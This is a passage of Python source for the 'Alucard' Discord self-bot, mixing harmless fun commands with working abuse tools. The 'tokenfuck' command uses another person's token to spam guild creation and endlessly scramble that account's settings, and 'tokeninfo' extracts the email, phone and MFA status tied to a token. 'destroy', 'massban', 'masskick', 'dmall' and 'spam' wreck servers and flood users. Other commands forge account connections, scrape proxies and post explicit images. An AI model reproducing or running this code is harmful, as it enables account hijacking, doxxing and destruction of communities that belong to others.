900 em.add_field(name="Join position", value=str(members.index(user)+1))
901 em.add_field(name="Registered", value=user.created_at.strftime(date_format))
902 if len(user.roles) > 1:
903 role_string = ' '.join([r.mention for r in user.roles][1:])
904 em.add_field(name="Roles [{}]".format(len(user.roles)-1), value=role_string, inline=False)
905 perm_string = ', '.join([str(p[0]).replace("_", " ").title() for p in user.guild_permissions if p[1]])
906 em.add_field(name="Guild permissions", value=perm_string, inline=False)
907 em.set_footer(text='ID: ' + str(user.id))
908 return await ctx.send(embed=em)
909
910@Alucard.command()
911async def minesweeper(ctx, size: int = 5): # b'\xfc'
912 await ctx.message.delete()
913 size = max(min(size, 8), 2)
914 bombs = [[random.randint(0, size - 1), random.randint(0, size - 1)] for x in range(int(size - 1))]
915 is_on_board = lambda x, y: 0 <= x < size and 0 <= y < size
916 has_bomb = lambda x, y: [i for i in bombs if i[0] == x and i[1] == y]
917 message = "**Click to play**:\n"
918 for y in range(size):
919 for x in range(size):
920 tile = "||{}||".format(chr(11036))
921 if has_bomb(x, y):
922 tile = "||{}||".format(chr(128163))
923 else:
924 count = 0
925 for xmod, ymod in m_offets:
926 if is_on_board(x + xmod, y + ymod) and has_bomb(x + xmod, y + ymod):
927 count += 1
928 if count != 0:
929 tile = "||{}||".format(m_numbers[count - 1])
930 message += tile
931 message += "\n"
932 await ctx.send(message)
933
934@Alucard.command()
935async def combine(ctx, name1, name2): # b'\xfc'
936 await ctx.message.delete()
937 name1letters = name1[:round(len(name1) / 2)]
938 name2letters = name2[round(len(name2) / 2):]
939 ship = "".join([name1letters, name2letters])
940 emb = (discord.Embed(description=f"{ship}"))
941 emb.set_author(name=f"{name1} + {name2}")
942 await ctx.send(embed=emb)
943
944@Alucard.command(name='1337-speak', aliases=['1337speak'])
945async def _1337_speak(ctx, *, text): # b'\xfc'
946 await ctx.message.delete()
947 text = text.replace('a', '4').replace('A', '4').replace('e', '3')\
948 .replace('E', '3').replace('i', '!').replace('I', '!')\
949 .replace('o', '0').replace('O', '0').replace('u', '|_|').replace('U', '|_|')
950 await ctx.send(f'`{text}`')
951
952@Alucard.command(aliases=['dvwl'])
953async def devowel(ctx, *, text): # b'\xfc'
954 await ctx.message.delete()
955 dvl = text.replace('a', '').replace('A', '').replace('e', '')\
956 .replace('E', '').replace('i', '').replace('I', '')\
957 .replace('o', '').replace('O', '').replace('u', '').replace('U', '')
958 await ctx.send(dvl)
959
960@Alucard.command()
961async def blank(ctx): # b'\xfc'
962 await ctx.message.delete()
963 if config.get('password') == 'password-here':
964 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
965 else:
966 password = config.get('password')
967 with open('Images/Avatars/Transparent.png', 'rb') as f:
968 try:
969 await Alucard.user.edit(password=password, username="ٴٴٴٴ", avatar=f.read())
970 except discord.HTTPException as e:
971 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
972
973@Alucard.command(aliases=['pfpget', 'stealpfp'])
974async def pfpsteal(ctx, user: discord.Member): # b'\xfc'
975 await ctx.message.delete()
976 if config.get('password') == 'password-here':
977 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
978 else:
979 password = config.get('password')
980 with open('Images/Avatars/Stolen/Stolen.png', 'wb') as f:
981 r = requests.get(user.avatar_url, stream=True)
982 for block in r.iter_content(1024):
983 if not block:
984 break
985 f.write(block)
986 try:
987 Image.open('Images/Avatars/Stolen/Stolen.png').convert('RGB')
988 with open('Images/Avatars/Stolen/Stolen.png', 'rb') as f:
989 await Alucard.user.edit(password=password, avatar=f.read())
990 except discord.HTTPException as e:
991 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
992
993@Alucard.command(name='set-pfp', aliases=['setpfp', 'pfpset'])
994async def _set_pfp(ctx, *, url): # b'\xfc'
995 await ctx.message.delete()
996 if config.get('password') == 'password-here':
997 print(f"{Fore.RED}[ERROR] {Fore.YELLOW}You didnt put your password in the config.json file"+Fore.RESET)
998 else:
999 password = config.get('password')
1000 with open('Images/Avatars/PFP-1.png', 'wb') as f:
1001 r = requests.get(url, stream=True)
1002 for block in r.iter_content(1024):
1003 if not block:
1004 break
1005 f.write(block)
1006 try:
1007 Image.open('Images/Avatars/PFP-1.png' ).convert('RGB')
1008 with open('Images/Avatars/PFP-1.png', 'rb') as f:
1009 await Alucard.user.edit(password=password, avatar=f.read())
1010 except discord.HTTPException as e:
1011 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1012
1013@Alucard.command(aliases=['dong', 'penis'])
1014async def dick(ctx, *, user: discord.Member = None): # b'\xfc'
1015 await ctx.message.delete()
1016 if user is None:
1017 user = ctx.author
1018 size = random.randint(1, 15)
1019 dong = ""
1020 for _i in range(0, size):
1021 dong += "="
1022 em = discord.Embed(title=f"{user}'s Dick size", description=f"8{dong}D", colour=0x0000)
1023 await ctx.send(embed=em)
1024
1025@Alucard.command(aliases=['changehypesquad'])
1026async def hypesquad(ctx, house): # b'\xfc'
1027 await ctx.message.delete()
1028 request = requests.Session()
1029 headers = {
1030 'Authorization': token,
1031 'Content-Type': 'application/json',
1032 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36'
1033 }
1034 if house == "bravery":
1035 payload = {'house_id': 1}
1036 elif house == "brilliance":
1037 payload = {'house_id': 2}
1038 elif house == "balance":
1039 payload = {'house_id': 3}
1040 elif house == "random":
1041 houses = [1, 2, 3]
1042 payload = {'house_id': random.choice(houses)}
1043 try:
1044 request.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10)
1045 except Exception as e:
1046 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1047
1048@Alucard.command(aliases=['tokenfucker', 'disable', 'crash'])
1049async def tokenfuck(ctx, _token): # b'\xfc'
1050 await ctx.message.delete()
1051 headers = {
1052 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7',
1053 'Content-Type': 'application/json',
1054 'Authorization': _token,
1055 }
1056 request = requests.Session()
1057 payload = {
1058 'theme': "light",
1059 'locale': "ja",
1060 'message_display_compact': False,
1061 'inline_embed_media': False,
1062 'inline_attachment_media': False,
1063 'gif_auto_play': False,
1064 'render_embeds': False,
1065 'render_reactions': False,
1066 'animate_emoji': False,
1067 'convert_emoticons': False,
1068 'enable_tts_command': False,
1069 'explicit_content_filter': '0',
1070 'status': "invisible"
1071 }
1072 guild = {
1073 'channels': None,
1074 'icon': None,
1075 'name': "ALUCARD",
1076 'region': "europe"
1077 }
1078 for _i in range(50):
1079 requests.post('https://discordapp.com/api/v6/guilds', headers=headers, json=guild)
1080 while True:
1081 try:
1082 request.patch("https://canary.discordapp.com/api/v6/users/@me/settings",headers=headers, json=payload)
1083 except Exception as e:
1084 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1085 else:
1086 break
1087 modes = cycle(["light", "dark"])
1088 statuses = cycle(["online", "idle", "dnd", "invisible"])
1089 while True:
1090 setting = {
1091 'theme': next(modes),
1092 'locale': random.choice(locales),
1093 'status': next(statuses)
1094 }
1095 while True:
1096 try:
1097 request.patch("https://canary.discordapp.com/api/v6/users/@me/settings",headers=headers, json=setting, timeout=10)
1098 except Exception as e:
1099 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1100 else:
1101 break
1102
1103@Alucard.command()
1104async def masslogin(ctx, choice = None): # b'\xfc'
1105 await ctx.message.delete()
1106 _masslogin(choice)
1107
1108@Alucard.command()
1109async def masscon(ctx, _type, amount: int, *, name=None): # b'\xfc'
1110 await ctx.message.delete()
1111 payload = {
1112 'name': name,
1113 'visibility': 1
1114 }
1115 headers = {
1116 'Authorization': token,
1117 'Content-Type':'application/json',
1118 }
1119 avaliable = [
1120 'battlenet',
1121 'skype',
1122 'leagueoflegends'
1123 ]
1124 if name is None:
1125 name = 'about:blank'
1126 elif _type not in avaliable:
1127 print(f'Avaliable connections: {avaliable}')
1128 for _i in range(amount):
1129 try:
1130 ID = random.randint(10000000, 90000000)
1131 time.sleep(5)
1132 r = requests.put(f'https://canary.discordapp.com/api/v6/users/@me/connections/{_type}/{ID}', data=json.dumps(payload), headers=headers)
1133 if r.status_code == 200:
1134 print(f"[{Fore.GREEN}+{Fore.RESET}] New connection added!")
1135 else:
1136 print(f"[{Fore.RED}-{Fore.RESET}] Couldnt add connection!");break
1137 except (Exception, ValueError) as e:
1138 print(e);break
1139 print(f"[{Fore.GREEN}+{Fore.RESET}] Finished adding connections!")
1140
1141@Alucard.command(aliases=['fakeconnection', 'spoofconnection'])
1142async def fakenet(ctx, _type, *, name = None): # b'\xfc'
1143 await ctx.message.delete()
1144 ID = random.randrange(10000000, 90000000)
1145 avaliable = [
1146 'battlenet',
1147 'skype',
1148 'leagueoflegends'
1149 ]
1150 payload = {
1151 'name': name,
1152 'visibility': 1
1153 }
1154 headers = {
1155 'Authorization': token,
1156 'Content-Type':'application/json',
1157 }
1158 if name is None:
1159 name = 'about:blank'
1160 elif _type not in avaliable:
1161 await ctx.send(f'Avaliable connections: `{avaliable}`', delete_after = 3)
1162 r = requests.put(f'https://canary.discordapp.com/api/v6/users/@me/connections/{_type}/{ID}', data=json.dumps(payload), headers=headers)
1163 if r.status_code == 200:
1164 await ctx.send(f"Added connection: `{type}` with Username: `{name}` and ID: `{ID}`", delete_after = 3)
1165 else:
1166 await ctx.send('Some error has happened with the endpoint', delete_after = 3)
1167
1168@Alucard.command(aliases=['tokinfo', 'tdox'])
1169async def tokeninfo(ctx, _token): # b'\xfc'
1170 await ctx.message.delete()
1171 headers = {
1172 'Authorization': _token,
1173 'Content-Type': 'application/json'
1174 }
1175 try:
1176 res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers)
1177 res = res.json()
1178 user_id = res['id']
1179 locale = res['locale']
1180 avatar_id = res['avatar']
1181 language = languages.get(locale)
1182 creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC')
1183 except KeyError:
1184 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}Invalid token"+Fore.RESET)
1185 em = discord.Embed(
1186 description=f"Name: `{res['username']}#{res['discriminator']}`\nID: `{res['id']}`\nEmail: `{res['email']}`\nCreation Date: `{creation_date}`\nProfile picture: [**Click here**](https://cdn.discordapp.com/avatars/{user_id}/{avatar_id})")
1187 fields = [
1188 {'name': 'Phone', 'value': res['phone']},
1189 {'name': 'Flags', 'value': res['flags']},
1190 {'name': 'Local language', 'value': res['locale'] + f"{language}"},
1191 {'name': 'MFA?', 'value': res['mfa_enabled']},
1192 {'name': 'Verified?', 'value': res['verified']},
1193 ]
1194 for field in fields:
1195 if field['value']:
1196 em.add_field(name=field['name'], value=field['value'], inline=False)
1197 em.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}")
1198 return await ctx.send(embed=em)
1199
1200@Alucard.command()
1201async def copy(ctx): # b'\xfc'
1202 await ctx.message.delete()
1203 await Alucard.create_guild(f'backup-{ctx.guild.name}')
1204 await asyncio.sleep(4)
1205 for g in Alucard.guilds:
1206 if f'backup-{ctx.guild.name}' in g.name:
1207 for c in g.channels:
1208 await c.delete()
1209 for cate in ctx.guild.categories:
1210 x = await g.create_category(f"{cate.name}")
1211 for chann in cate.channels:
1212 if isinstance(chann, discord.VoiceChannel):
1213 await x.create_voice_channel(f"{chann}")
1214 if isinstance(chann, discord.TextChannel):
1215 await x.create_text_channel(f"{chann}")
1216 try:
1217 await g.edit(icon=ctx.guild.icon_url)
1218 except:
1219 pass
1220
1221@Alucard.command()
1222async def destroy(ctx): # b'\xfc'
1223 await ctx.message.delete()
1224 for channel in list(ctx.guild.channels):
1225 try:
1226 await channel.delete()
1227 except:
1228 pass
1229 for user in list(ctx.guild.members):
1230 try:
1231 await user.ban()
1232 except:
1233 pass
1234 for role in list(ctx.guild.roles):
1235 try:
1236 await role.delete()
1237 except:
1238 pass
1239 try:
1240 await ctx.guild.edit(
1241 name=RandString(),
1242 description="https://alucard.wtf",
1243 reason="https://alucard-selfbot.github.io",
1244 icon=None,
1245 banner=None
1246 )
1247 except:
1248 pass
1249 for _i in range(250):
1250 await ctx.guild.create_text_channel(name=RandString())
1251 for _i in range(250):
1252 await ctx.guild.create_role(name=RandString(), color=RandomColor())
1253
1254@Alucard.command()
1255async def dmall(ctx, *, message): # b'\xfc'
1256 await ctx.message.delete()
1257 for user in list(ctx.guild.members):
1258 try:
1259 await asyncio.sleep(5)
1260 await user.send(message)
1261 except:
1262 pass
1263
1264@Alucard.command()
1265async def massban(ctx): # b'\xfc'
1266 await ctx.message.delete()
1267 for user in list(ctx.guild.members):
1268 try:
1269 await user.ban()
1270 except:
1271 pass
1272
1273@Alucard.command()
1274async def masskick(ctx): # b'\xfc'
1275 await ctx.message.delete()
1276 for user in list(ctx.guild.members):
1277 try:
1278 await user.kick()
1279 except:
1280 pass
1281
1282@Alucard.command()
1283async def massrole(ctx): # b'\xfc'
1284 await ctx.message.delete()
1285 for _i in range(250):
1286 try:
1287 await ctx.guild.create_role(name=RandString(), color=RandomColor())
1288 except:
1289 return
1290
1291@Alucard.command()
1292async def masschannel(ctx): # b'\xfc'
1293 await ctx.message.delete()
1294 for _i in range(250):
1295 try:
1296 await ctx.guild.create_text_channel(name=RandString())
1297 except:
1298 return
1299
1300@Alucard.command()
1301async def delchannels(ctx): # b'\xfc'
1302 await ctx.message.delete()
1303 for channel in list(ctx.guild.channels):
1304 try:
1305 await channel.delete()
1306 except:
1307 return
1308
1309@Alucard.command()
1310async def delroles(ctx): # b'\xfc'
1311 await ctx.message.delete()
1312 for role in list(ctx.guild.roles):
1313 try:
1314 await role.delete()
1315 except:
1316 pass
1317
1318@Alucard.command()
1319async def massunban(ctx): # b'\xfc'
1320 await ctx.message.delete()
1321 banlist = await ctx.guild.bans()
1322 for users in banlist:
1323 try:
1324 await asyncio.sleep(2)
1325 await ctx.guild.unban(user=users.user)
1326 except:
1327 pass
1328
1329@Alucard.command()
1330async def spam(ctx, amount: int, *, message): # b'\xfc'
1331 await ctx.message.delete()
1332 for _i in range(amount):
1333 await ctx.send(message)
1334
1335@Alucard.command()
1336async def dm(ctx, user : discord.Member, *, message): # b'\xfc'
1337 await ctx.message.delete()
1338 user = Alucard.get_user(user.id)
1339 if ctx.author.id == Alucard.user.id:
1340 return
1341 else:
1342 try:
1343 await user.send(message)
1344 except:
1345 pass
1346
1347@Alucard.command(name='get-color', aliases=['color', 'colour', 'sc'])
1348async def _get_color(ctx, *, color: discord.Colour): # b'\xfc'
1349 await ctx.message.delete()
1350 file = io.BytesIO()
1351 Image.new('RGB', (200, 90), color.to_rgb()).save(file, format='PNG')
1352 file.seek(0)
1353 em = discord.Embed(color=color, title=f'Showing Color: {str(color)}')
1354 em.set_image(url='attachment://color.png')
1355 await ctx.send(file=discord.File(file, 'color.png'), embed=em)
1356
1357@Alucard.command()
1358async def tinyurl(ctx, *, link): # b'\xfc'
1359 await ctx.message.delete()
1360 r = requests.get(f'http://tinyurl.com/api-create.php?url={link}').text
1361 em = discord.Embed()
1362 em.add_field(name='Shortened link', value=r, inline=False )
1363 await ctx.send(embed=em)
1364
1365@Alucard.command(aliases=['rainbow-role'])
1366async def rainbow(ctx, *, role): # b'\xfc'
1367 await ctx.message.delete()
1368 role = discord.utils.get(ctx.guild.roles, name=role)
1369 while True:
1370 try:
1371 await role.edit(role=role, colour=RandomColor())
1372 await asyncio.sleep(10)
1373 except:
1374 break
1375
1376@Alucard.command(name='8ball')
1377async def _ball(ctx, *, question): # b'\xfc'
1378 await ctx.message.delete()
1379 responses = [
1380 'That is a resounding no',
1381 'It is not looking likely',
1382 'Too hard to tell',
1383 'It is quite possible',
1384 'That is a definite yes!',
1385 'Maybe',
1386 'There is a good chance'
1387 ]
1388 answer = random.choice(responses)
1389 embed = discord.Embed()
1390 embed.add_field(name="Question", value=question, inline=False)
1391 embed.add_field(name="Answer", value=answer, inline=False)
1392 embed.set_thumbnail(url="https://www.horoscope.com/images-US/games/game-magic-8-ball-no-text.png")
1393 embed.set_footer(text=datetime.datetime.now())
1394 await ctx.send(embed=embed)
1395
1396@Alucard.command(aliases=['slots', 'bet'])
1397async def slot(ctx): # b'\xfc'
1398 await ctx.message.delete()
1399 emojis = "????????"
1400 a = random.choice(emojis)
1401 b = random.choice(emojis)
1402 c = random.choice(emojis)
1403 slotmachine = f"**[ {a} {b} {c} ]\n{ctx.author.name}**,"
1404 if (a == b == c):
1405 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} All matchings, you won!"}))
1406 elif (a == b) or (a == c) or (b == c):
1407 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} 2 in a row, you won!"}))
1408 else:
1409 await ctx.send(embed=discord.Embed.from_dict({"title":"Slot machine", "description":f"{slotmachine} No match, you lost"}))
1410
1411@Alucard.command()
1412async def joke(ctx): # b'\xfc'
1413 await ctx.message.delete()
1414 headers = {
1415 "Accept": "application/json"
1416 }
1417 async with aiohttp.ClientSession()as session:
1418 async with session.get("https://icanhazdadjoke.com", headers=headers) as req:
1419 r = await req.json()
1420 await ctx.send(r["joke"])
1421
1422@Alucard.command(name='auto-bump', aliases=['bump'])
1423async def _auto_bump(ctx, channelid): # b'\xfc'
1424 await ctx.message.delete()
1425 count = 0
1426 while True:
1427 try:
1428 count += 1
1429 channel = Alucard.get_channel(int(channelid))
1430 await channel.send('!d bump')
1431 print(f'{Fore.BLUE}[AUTO-BUMP] {Fore.GREEN}Bump number: {count} sent'+Fore.RESET)
1432 await asyncio.sleep(7200)
1433 except Exception as e:
1434 print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
1435
1436@Alucard.command()
1437async def tts(ctx, *, message): # b'\xfc'
1438 await ctx.message.delete()
1439 buff = await do_tts(message)
1440 await ctx.send(file=discord.File(buff, f"{message}.wav"))
1441
1442@Alucard.command()
1443async def upper(ctx, *, message): # b'\xfc'
1444 await ctx.message.delete()
1445 message = message.upper()
1446 await ctx.send(message)
1447
1448@Alucard.command(aliases=['guildpfp'])
1449async def guildicon(ctx): # b'\xfc'
1450 await ctx.message.delete()
1451 em = discord.Embed(title=ctx.guild.name)
1452 em.set_image(url=ctx.guild.icon_url)
1453 await ctx.send(embed=em)
1454
1455@Alucard.command(name='backup-f', aliases=['friendbackup', 'friend-backup', 'backup-friends', 'backupf'])
1456async def _backup_f(ctx): # b'\xfc'
1457 await ctx.message.delete()
1458 for friend in Alucard.user.friends:
1459 friendlist = (friend.name)+'#'+(friend.discriminator)
1460 with open('Backup/Friends.txt', 'a+') as f:
1461 f.write(friendlist+"\n" )
1462 for block in Alucard.user.blocked:
1463 blocklist = (block.name)+'#'+(block.discriminator)
1464 with open('Backup/Blocked.txt', 'a+') as f:
1465 f.write(blocklist+"\n" )
1466
1467@Alucard.command(name='first-message', aliases=['firstmsg', 'fm', 'firstmessage'])
1468async def _first_message(ctx, channel: discord.TextChannel = None): # b'\xfc'
1469 await ctx.message.delete()
1470 if channel is None:
1471 channel = ctx.channel
1472 first_message = (await channel.history(limit=1, oldest_first=True).flatten())[0]
1473 embed = discord.Embed(description=first_message.content)
1474 embed.add_field(name="First Message", value=f"[Jump]({first_message.jump_url})")
1475 await ctx.send(embed=embed)
1476
1477@Alucard.command()
1478async def mac(ctx, mac): # b'\xfc'
1479 await ctx.message.delete()
1480 r = requests.get('http://api.macvendors.com/' + mac)
1481 em = discord.Embed(title='MAC Lookup Result', description=r.text, colour=0xDEADBF)
1482 em.set_author(name='MAC Finder', icon_url='https://regmedia.co.uk/2016/09/22/wifi_icon_shutterstock.jpg?x=1200&y=794')
1483 await ctx.send(embed=em)
1484
1485@Alucard.command()
1486async def abc(ctx): # b'\xfc'
1487 await ctx.message.delete()
1488 ABC = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
1489 message = await ctx.send(ABC[0])
1490 await asyncio.sleep(2)
1491 for _next in ABC[1:]:
1492 await message.edit(content=_next)
1493 await asyncio.sleep(2)
1494
1495@Alucard.command(aliases=['bitcoin'])
1496async def btc(ctx): # b'\xfc'
1497 await ctx.message.delete()
1498 r = requests.get('https://min-api.cryptocompare.com/data/price?fsym=BTC&tsyms=USD,EUR')
1499 r = r.json()
1500 usd = r['USD']
1501 eur = r['EUR']
1502 em = discord.Embed(description=f'USD: `{str(usd)}$`\nEUR: `{str(eur)}€`')
1503 em.set_author(name='Bitcoin', icon_url='https://cdn.pixabay.com/photo/2013/12/08/12/12/bitcoin-225079_960_720.png')
1504 await ctx.send(embed=em)
1505
1506@Alucard.command(aliases=['ethereum'])
1507async def eth(ctx): # b'\xfc'
1508 await ctx.message.delete()
1509 r = requests.get('https://min-api.cryptocompare.com/data/price?fsym=ETH&tsyms=USD,EUR')
1510 r = r.json()
1511 usd = r['USD']
1512 eur = r['EUR']
1513 em = discord.Embed(description=f'USD: `{str(usd)}$`\nEUR: `{str(eur)}€`')
1514 em.set_author(name='Ethereum', icon_url='https://cdn.discordapp.com/attachments/271256875205525504/374282740218200064/2000px-Ethereum_logo.png')
1515 await ctx.send(embed=em)
1516
1517@Alucard.command()
1518async def topic(ctx): # b'\xfc'
1519 await ctx.message.delete()
1520 r = requests.get('https://www.conversationstarters.com/generator.php').content
1521 soup = bs4(r, 'html.parser')
1522 topic = soup.find(id="random").text
1523 await ctx.send(topic)
1524
1525@Alucard.command(aliases=['wouldyourather', 'would-you-rather', 'wyrq'])
1526async def wyr(ctx): # b'\xfc'
1527 await ctx.message.delete()
1528 r = requests.get('https://www.conversationstarters.com/wyrqlist.php').text
1529 soup = bs4(r, 'html.parser')
1530 qa = soup.find(id='qa').text
1531 qor = soup.find(id='qor').text
1532 qb = soup.find(id='qb').text
1533 em = discord.Embed(description=f'{qa}\n{qor}\n{qb}')
1534 await ctx.send(embed=em)
1535
1536@Alucard.command()
1537async def hastebin(ctx, *, message): # b'\xfc'
1538 await ctx.message.delete()
1539 r = requests.post("https://hastebin.com/documents", data=message).json()
1540 await ctx.send(f"<https://hastebin.com/{r['key']}>")
1541
1542@Alucard.command()
1543async def ascii(ctx, *, text): # b'\xfc'
1544 await ctx.message.delete()
1545 r = requests.get(f'http://artii.herokuapp.com/make?text={urllib.parse.quote_plus(text)}').text
1546 if len('```'+r+'```') > 2000:
1547 return
1548 await ctx.send(f"```{r}```")
1549
1550@Alucard.command()
1551async def anal(ctx): # b'\xfc'
1552 await ctx.message.delete()
1553 r = requests.get("https://nekos.life/api/v2/img/anal")
1554 res = r.json()
1555 em = discord.Embed()
1556 em.set_image(url=res['url'])
1557 await ctx.send(embed=em)
1558
1559@Alucard.command()
1560async def erofeet(ctx): # b'\xfc'
1561 await ctx.message.delete()
1562 r = requests.get("https://nekos.life/api/v2/img/erofeet")
1563 res = r.json()
1564 em = discord.Embed()
1565 em.set_image(url=res['url'])
1566 await ctx.send(embed=em)
1567
1568@Alucard.command()
1569async def feet(ctx): # b'\xfc'
1570 await ctx.message.delete()
1571 r = requests.get("https://nekos.life/api/v2/img/feetg")
1572 res = r.json()
1573 em = discord.Embed()
1574 em.set_image(url=res['url'])
1575 await ctx.send(embed=em)
1576
1577@Alucard.command()
1578async def hentai(ctx): # b'\xfc'
1579 await ctx.message.delete()
1580 r = requests.get("https://nekos.life/api/v2/img/Random_hentai_gif")
1581 res = r.json()
1582 em = discord.Embed()
1583 em.set_image(url=res['url'])
1584 await ctx.send(embed=em)
1585
1586@Alucard.command()
1587async def boobs(ctx): # b'\xfc'
1588 await ctx.message.delete()
1589 r = requests.get("https://nekos.life/api/v2/img/boobs")
1590 res = r.json()
1591 em = discord.Embed()
1592 em.set_image(url=res['url'])
1593 await ctx.send(embed=em)
1594
1595@Alucard.command()
1596async def tits(ctx): # b'\xfc'
1597 await ctx.message.delete()
1598 r = requests.get("https://nekos.life/api/v2/img/tits")
1599 res = r.json()
1600 em = discord.Embed()
1601 em.set_image(url=res['url'])
1602 await ctx.send(embed=em)
1603
1604@Alucard.command()
1605async def blowjob(ctx): # b'\xfc'
1606 await ctx.message.delete()
1607 r = requests.get("https://nekos.life/api/v2/img/blowjob")
1608 res = r.json()
1609 em = discord.Embed()
1610 em.set_image(url=res['url'])
1611 await ctx.send(embed=em)
1612
1613@Alucard.command()
1614async def lewdneko(ctx): # b'\xfc'
1615 await ctx.message.delete()
1616 r = requests.get("https://nekos.life/api/v2/img/nsfw_neko_gif")
1617 res = r.json()
1618 em = discord.Embed()
1619 em.set_image(url=res['url'])
1620 await ctx.send(embed=em)
1621
1622@Alucard.command()
1623async def lesbian(ctx): # b'\xfc'
1624 await ctx.message.delete()
1625 r = requests.get("https://nekos.life/api/v2/img/les")
1626 res = r.json()
1627 em = discord.Embed()
1628 em.set_image(url=res['url'])
1629 await ctx.send(embed=em)
1630
1631@Alucard.command()
1632async def feed(ctx, user: discord.Member): # b'\xfc'
1633 await ctx.message.delete()
1634 r = requests.get("https://nekos.life/api/v2/img/feed")
1635 res = r.json()
1636 em = discord.Embed(description=user.mention)
1637 em.set_image(url=res['url'])
1638 await ctx.send(embed=em)
1639
1640@Alucard.command()
1641async def tickle(ctx, user: discord.Member): # b'\xfc'
1642 await ctx.message.delete()
1643 r = requests.get("https://nekos.life/api/v2/img/tickle")
1644 res = r.json()
1645 em = discord.Embed(description=user.mention)
1646 em.set_image(url=res['url'])
1647 await ctx.send(embed=em)
1648
1649@Alucard.command()
1650async def slap(ctx, user: discord.Member): # b'\xfc'
1651 await ctx.message.delete()
1652 r = requests.get("https://nekos.life/api/v2/img/slap")
1653 res = r.json()
1654 em = discord.Embed(description=user.mention)
1655 em.set_image(url=res['url'])
1656 await ctx.send(embed=em)
1657
1658@Alucard.command()
1659async def hug(ctx, user: discord.Member): # b'\xfc'
1660 await ctx.message.delete()
1661 r = requests.get("https://nekos.life/api/v2/img/hug")
1662 res = r.json()
1663 em = discord.Embed(description=user.mention)
1664 em.set_image(url=res['url'])
1665 await ctx.send(embed=em)
1666
1667@Alucard.command()
1668async def smug(ctx, user: discord.Member): # b'\xfc'
1669 await ctx.message.delete()
1670 r = requests.get("https://nekos.life/api/v2/img/smug")
1671 res = r.json()
1672 em = discord.Embed(description=user.mention)
1673 em.set_image(url=res['url'])
1674 await ctx.send(embed=em)
1675
1676@Alucard.command()
1677async def pat(ctx, user: discord.Member): # b'\xfc'
1678 await ctx.message.delete()
1679 r = requests.get("https://nekos.life/api/v2/img/pat")
1680 res = r.json()
1681 em = discord.Embed(description=user.mention)
1682 em.set_image(url=res['url'])
1683 await ctx.send(embed=em)
1684
1685@Alucard.command()
1686async def kiss(ctx, user: discord.Member): # b'\xfc'
1687 await ctx.message.delete()
1688 r = requests.get("https://nekos.life/api/v2/img/kiss")
1689 res = r.json()
1690 em = discord.Embed(description=user.mention)
1691 em.set_image(url=res['url'])
1692 await ctx.send(embed=em)
1693
1694@Alucard.command(aliases=['proxy'])
1695async def proxies(ctx): # b'\xfc'
1696 await ctx.message.delete()
1697 file = open("Data/Http-proxies.txt", "a+")
1698 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=1500')
1699 proxies = []
1700 for proxy in res.text.split('\n'):
1701 proxy = proxy.strip()
1702 if proxy:
1703 proxies.append(proxy)
1704 for p in proxies:
1705 file.write((p)+"\n")
1706 file = open("Data/Https-proxies.txt", "a+")
1707 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=https&timeout=1500')
1708 proxies = []
1709 for proxy in res.text.split('\n'):
1710 proxy = proxy.strip()
1711 if proxy:
1712 proxies.append(proxy)
1713 for p in proxies:
1714 file.write((p)+"\n")
1715 file = open("Data/Socks4-proxies.txt", "a+")
1716 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&timeout=1500')
1717 proxies = []
1718 for proxy in res.text.split('\n'):
1719 proxy = proxy.strip()
1720 if proxy:
1721 proxies.append(proxy)
1722 for p in proxies:
1723 file.write((p)+"\n")
1724 file = open("Data/Socks5-proxies.txt", "a+")
1725 res = requests.get('https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=1500')
1726 proxies = []
1727 for proxy in res.text.split('\n'):
1728 proxy = proxy.strip()
1729 if proxy:
1730 proxies.append(proxy)
1731 for p in proxies:
1732 file.write((p)+"\n")
1733
1734@Alucard.command()
1735async def uptime(ctx): # b'\xfc'
1736 await ctx.message.delete()
1737 uptime = datetime.datetime.utcnow() - start_time
1738 uptime = str(uptime).split('.')[0]
1739 await ctx.send(f'`'+uptime+'`')
1740
1741@Alucard.command()
1742async def purge(ctx, amount: int): # b'\xfc'
1743 await ctx.message.delete()
1744 async for message in ctx.message.channel.history(limit=amount).filter(lambda m: m.author == Alucard.user).map(lambda m: m):
1745 try:
1746 await message.delete()
1747 except:
1748 pass
1749
1750@Alucard.command(name='group-leaver', aliase=['leaveallgroups', 'leavegroup', 'leavegroups'])
1751async def _group_leaver(ctx): # b'\xfc'
1752 await ctx.message.delete()
1753 for channel in Alucard.private_channels:
1754 if isinstance(channel, discord.GroupChannel):
1755 await channel.leave()
1756
1757@Alucard.command()
1758async def help(ctx): # b'\xfc'
